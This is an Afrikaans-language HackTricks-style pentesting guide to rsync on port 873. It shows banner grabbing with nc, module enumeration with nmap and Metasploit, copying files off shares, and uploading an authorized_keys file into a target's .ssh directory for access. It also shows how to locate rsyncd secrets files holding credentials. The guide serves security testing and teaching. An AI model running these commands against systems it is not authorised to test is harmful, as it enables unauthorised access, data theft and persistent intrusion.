4.2 KiB
873 - Pentesting Rsync
{{#include ../banners/hacktricks-training.md}}
Basiese Inligting
Van wikipedia:
rsync is 'n nut vir doeltreffende oorplasing en synchronisering van lêers tussen 'n rekenaar en 'n eksterne hardeskyf en oor netwerk rekenaars deur die wysigings tye en groottes van lêers te vergelyk.[3] Dit word algemeen op Unix-agtige bedryfstelsels aangetref. Die rsync-algoritme is 'n tipe van delta-kodering, en word gebruik om netwerkgebruik te minimaliseer. Zlib kan gebruik word vir addisionele data-kompressie,[3] en SSH of stunnel kan gebruik word vir sekuriteit.
Standaard poort: 873
PORT STATE SERVICE REASON
873/tcp open rsync syn-ack
Enumerasie
Banner & Handmatige kommunikasie
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0 <--- You receive this banner with the version from the server
@RSYNCD: 31.0 <--- Then you send the same info
#list <--- Then you ask the sever to list
raidroot <--- The server starts enumerating
USBCopy
NAS_Public
_NAS_Recycle_TOSRAID <--- Enumeration finished
@RSYNCD: EXIT <--- Sever closes the connection
#Now lets try to enumerate "raidroot"
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0
@RSYNCD: 31.0
raidroot
@RSYNCD: AUTHREQD 7H6CqsHCPG06kRiFkKwD8g <--- This means you need the password
Opname van Gedeelde Mappe
Rsync modules word erken as gedeelde direkteure wat moontlik met wagwoorde beskerm word. Om beskikbare modules te identifiseer en te kyk of hulle wagwoorde benodig, word die volgende opdragte gebruik:
nmap -sV --script "rsync-list-modules" -p <PORT> <IP>
msf> use auxiliary/scanner/rsync/modules_list
# Example with IPv6 and alternate port
rsync -av --list-only rsync://[dead:beef::250:56ff:feb9:e90a]:8730
Wees bewus dat sommige gedeeltes dalk nie in die lys verskyn nie, moontlik omdat hulle versteek is. Daarbenewens kan toegang tot sommige gedeeltes beperk wees tot spesifieke credentials, aangedui deur 'n "Access Denied" boodskap.
Brute Force
Handmatige Rsync Gebruik
Sodra 'n module lys verkry is, hang aksies af van of verifikasie nodig is. Sonder verifikasie kan lys en kopieer van lêers van 'n gedeelde gids na 'n plaaslike gids bereik word deur:
# Listing a shared folder
rsync -av --list-only rsync://192.168.0.123/shared_name
# Copying files from a shared folder
rsync -av rsync://192.168.0.123:8730/shared_name ./rsyn_shared
Hierdie proses herhalend oordra lêers, ter behoud van hul eienskappe en toestemmings.
Met akkrediteeringe kan lys en aflaai van 'n gedeelde gids soos volg gedoen word, waar 'n wagwoordprompt sal verskyn:
rsync -av --list-only rsync://username@192.168.0.123/shared_name
rsync -av rsync://username@192.168.0.123:8730/shared_name ./rsyn_shared
Om inhoud op te laai, soos 'n authorized_keys lêer vir toegang, gebruik:
rsync -av home_user/.ssh/ rsync://username@192.168.0.123/home_user/.ssh
POST
Om die rsyncd konfigurasie lêer te vind, voer uit:
find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \)
Binne hierdie lêer kan 'n secrets file parameter na 'n lêer verwys wat gebruikersname en wagwoorde vir rsyncd-outeentifikasie bevat.
Verwysings
{{#include ../banners/hacktricks-training.md}}